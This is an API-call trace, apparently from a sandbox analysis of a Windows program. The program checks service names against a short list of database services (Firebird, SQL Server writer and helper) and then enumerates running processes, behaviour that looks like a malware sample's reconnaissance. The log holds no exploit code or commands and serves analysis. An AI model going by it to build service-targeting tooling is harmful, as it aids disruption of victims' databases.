	[0151.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0151.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0151.929] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0151.929] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0151.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0151.930] lstrlenW (lpString="DPS") returned 3
	[0151.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0151.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0151.930] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0151.930] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0151.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0151.930] lstrlenW (lpString="DusmSvc") returned 7
	[0151.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0151.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0151.930] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0151.930] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0151.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0151.930] lstrlenW (lpString="EventLog") returned 8
	[0151.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0151.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0151.930] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0151.930] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0151.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0151.930] lstrlenW (lpString="EventSystem") returned 11
	[0151.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0151.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0151.930] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0151.930] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0151.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0151.930] lstrlenW (lpString="FontCache") returned 9
	[0151.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0151.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0151.931] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0151.931] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0151.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0151.931] lstrlenW (lpString="gpsvc") returned 5
	[0151.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0151.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0151.931] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0151.931] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0151.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0151.931] lstrlenW (lpString="iphlpsvc") returned 8
	[0151.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0151.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0151.931] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0151.931] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0151.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0151.931] lstrlenW (lpString="KeyIso") returned 6
	[0151.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0151.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0151.931] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0151.931] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0151.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0151.931] lstrlenW (lpString="LanmanServer") returned 12
	[0151.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0151.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0151.932] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0151.932] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0151.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0151.932] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0151.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0151.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0151.932] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0151.932] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0151.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0151.932] lstrlenW (lpString="lfsvc") returned 5
	[0151.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0151.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0151.932] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0151.932] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0151.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0151.932] lstrlenW (lpString="lmhosts") returned 7
	[0151.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0151.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0151.932] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0151.932] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0151.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0151.932] lstrlenW (lpString="LSM") returned 3
	[0151.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0151.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0151.932] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0151.933] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0151.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0151.933] lstrlenW (lpString="MpsSvc") returned 6
	[0151.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0151.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0151.933] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0151.933] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0151.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0151.933] lstrlenW (lpString="NcbService") returned 10
	[0151.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0151.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0151.933] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0151.933] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0151.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0151.933] lstrlenW (lpString="netprofm") returned 8
	[0151.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0151.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0151.933] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0151.933] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0151.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0151.933] lstrlenW (lpString="NgcSvc") returned 6
	[0151.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0151.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0151.933] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0151.933] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0151.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0151.933] lstrlenW (lpString="NlaSvc") returned 6
	[0151.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0151.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0151.934] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0151.934] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0151.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0151.934] lstrlenW (lpString="nsi") returned 3
	[0151.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0151.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0151.934] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0151.934] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0151.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0151.934] lstrlenW (lpString="PcaSvc") returned 6
	[0151.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0151.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0151.934] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0151.934] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0151.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0151.934] lstrlenW (lpString="PlugPlay") returned 8
	[0151.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0151.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0151.934] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0151.934] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0151.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0151.934] lstrlenW (lpString="Power") returned 5
	[0151.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0151.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0151.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0151.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0151.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0151.935] lstrlenW (lpString="ProfSvc") returned 7
	[0151.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0151.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0151.935] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0151.935] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0151.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0151.935] lstrlenW (lpString="RpcEptMapper") returned 12
	[0151.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0151.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0151.935] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0151.935] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0151.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0151.935] lstrlenW (lpString="RpcSs") returned 5
	[0151.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0151.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0151.935] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0151.935] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0151.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0151.935] lstrlenW (lpString="SamSs") returned 5
	[0151.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0151.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0151.935] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0151.935] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0151.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0151.935] lstrlenW (lpString="Schedule") returned 8
	[0151.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0151.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0151.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0151.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0151.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0151.936] lstrlenW (lpString="SecurityHealthService") returned 21
	[0151.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0151.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0151.936] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0151.936] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0151.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0151.936] lstrlenW (lpString="SENS") returned 4
	[0151.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0151.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0151.936] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0151.936] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0151.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0151.936] lstrlenW (lpString="ShellHWDetection") returned 16
	[0151.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0151.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0151.936] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0151.936] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0151.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0151.936] lstrlenW (lpString="Spooler") returned 7
	[0151.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0151.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0151.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0151.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0151.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0151.937] lstrlenW (lpString="StateRepository") returned 15
	[0151.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0151.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0151.937] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0151.937] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0151.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0151.937] lstrlenW (lpString="SysMain") returned 7
	[0151.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0151.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0151.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0151.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0151.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0151.937] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0151.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0151.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0151.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0151.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0151.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0151.937] lstrlenW (lpString="Themes") returned 6
	[0151.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0151.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0151.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0151.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0151.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0151.937] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0151.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0151.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0151.938] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0151.938] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0151.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4640fc8 | out: hHeap=0x4f0000) returned 1
	[0151.938] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388
	[0151.943] Process32FirstW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0151.943] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0151.947] lstrlenW (lpString="System") returned 6
	[0151.947] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0151.948] lstrlenW (lpString="smss.exe") returned 8
	[0151.948] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0151.949] lstrlenW (lpString="csrss.exe") returned 9
	[0151.949] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0151.950] lstrlenW (lpString="wininit.exe") returned 11
	[0151.950] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0151.951] lstrlenW (lpString="csrss.exe") returned 9
	[0151.951] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0151.951] lstrlenW (lpString="winlogon.exe") returned 12
	[0151.952] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0151.952] lstrlenW (lpString="services.exe") returned 12
	[0151.952] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0151.954] lstrlenW (lpString="lsass.exe") returned 9
	[0151.954] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0151.955] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0151.955] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0151.955] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0151.956] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.956] lstrlenW (lpString="svchost.exe") returned 11
	[0151.957] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.957] lstrlenW (lpString="svchost.exe") returned 11
	[0151.957] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0151.958] lstrlenW (lpString="dwm.exe") returned 7
	[0151.958] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.960] lstrlenW (lpString="svchost.exe") returned 11
	[0151.960] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.961] lstrlenW (lpString="svchost.exe") returned 11
	[0151.961] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.962] lstrlenW (lpString="svchost.exe") returned 11
	[0151.962] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.963] lstrlenW (lpString="svchost.exe") returned 11
	[0151.963] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.964] lstrlenW (lpString="svchost.exe") returned 11
	[0151.964] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.965] lstrlenW (lpString="svchost.exe") returned 11
	[0151.965] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.966] lstrlenW (lpString="svchost.exe") returned 11
	[0151.966] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.967] lstrlenW (lpString="svchost.exe") returned 11
	[0151.967] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.968] lstrlenW (lpString="svchost.exe") returned 11
